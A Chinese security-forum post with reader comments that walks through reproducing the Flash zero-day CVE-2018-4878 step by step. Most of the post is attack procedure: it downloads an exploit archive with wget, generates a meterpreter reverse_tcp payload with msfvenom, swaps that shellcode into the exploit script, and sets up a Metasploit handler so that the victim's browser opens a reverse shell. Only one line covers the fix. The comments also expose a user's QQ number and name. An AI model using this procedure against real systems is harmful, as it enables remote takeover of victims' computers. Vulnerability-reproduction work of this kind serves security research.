【漏洞复现】Flash 0day漏洞复现（CVE-2018-4878）

backlion / 2018-03-08 13:49:00 / 浏览数 14301 安全技术 漏洞分析 顶(1) 踩(0)

0x01 前言

Adobe公司在当地时间2018年2月1日发布了一条安全公告：

https://helpx.adobe.com/security/products/flash-player/apsa18-01.html

公告称一个新的Flash 0Day漏洞（CVE-2018-4878）已经存在野外利用，可针对Windows用户发起定向攻击。攻击者可以诱导用户打开包含恶意 Flash 代码文件的 Microsoft Office 文档、网页、垃圾电子邮件等。

0x02 漏洞影响

Flash Player当前最新版本28.0.0.137以及之前的所有版本

0x03 漏洞复现

环境测试：

攻击机：kali

目标靶机：win7x64 +IE8.0+FLASH player28.0.0.137

1.下载cve-2018-4878的脚步利用

```
wget https://raw.githubusercontent.com/backlion/demo/master/CVE-2018-4878.rar
```

2.解压压缩文件后，可看到cve-2018-4878.py和exploit.swf

3.我们需要对cve-2018-4878.py进行修改，原作者将代码中的stageless变量改成了true，正确的应该改成：`stageless = False`。

附上原作者的exp地址：https://github.com/anbai-inc/CVE-2018-4878.git

4.其次需要修改替换原来弹计算器的shellcode

5.在kali下生成ms的shellcode:

```
msfvenom  -p   windows/meterpreter/reverse_tcp   lhost=your host  lport=your port  -f  python>shellcode.txt
```

6.将生成的shellcode替换掉原有cve-2018-4878.py中的shelldoce即可

7.在kal下执行cve-2018-4878.py,这里需要和index.html在一个目录下，即可生成恶意的exploit.swf

8.这里为了演示我将index.html和exploit.swf一同拷贝到目标靶机win7x64上，在ie浏览器下打开（也可以通过搭建web服务器的形式将index.html和exploit.swf放在web目

9.在msf 下进行监听设置

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload  windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost  10.0.0.217
msf exploit(handler) > set lport  443
msf exploit(handler) > exploit
```

10.当打开目标恶意的index.html页面时，即可触发反弹shell

0x04 漏洞修复

建设通过官方网站升级到最新版本

https://get.adobe.com/cn/flashplayer/

上一篇：HTTPS 安全最佳实践（二）之安全加固 下一篇：Chrome Headless 爬...

1. 7 条回复

Bearcat 2018-03-09 10:06:13

厉害，前几天就在看这个漏洞。

0 回复Ta

assassinator 2018-03-09 13:02:56

没有复现成功呀老铁，可以沟通一下嘛？

0 回复Ta

Bearcat 2018-03-09 16:03:02

@assassinator 额 我试了 可以啊 你 没成功？

0 回复Ta


assassinator 2018-03-12 12:25:05

@Bearcat 没有啊，IE和chrome都不行

0 回复Ta


zsy5**** 2018-03-16 11:25:52

老铁，可以加一波好友吗？方便教一下吗？827572676严婷

0 回复Ta


zsy5**** 2018-03-16 11:26:15

@Bearcat 老铁，可以加一波好友吗？方便教一下吗？827572676严婷

0 回复Ta

backlion 2018-03-16 11:32:16

@zsy5**** 好的，已加

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板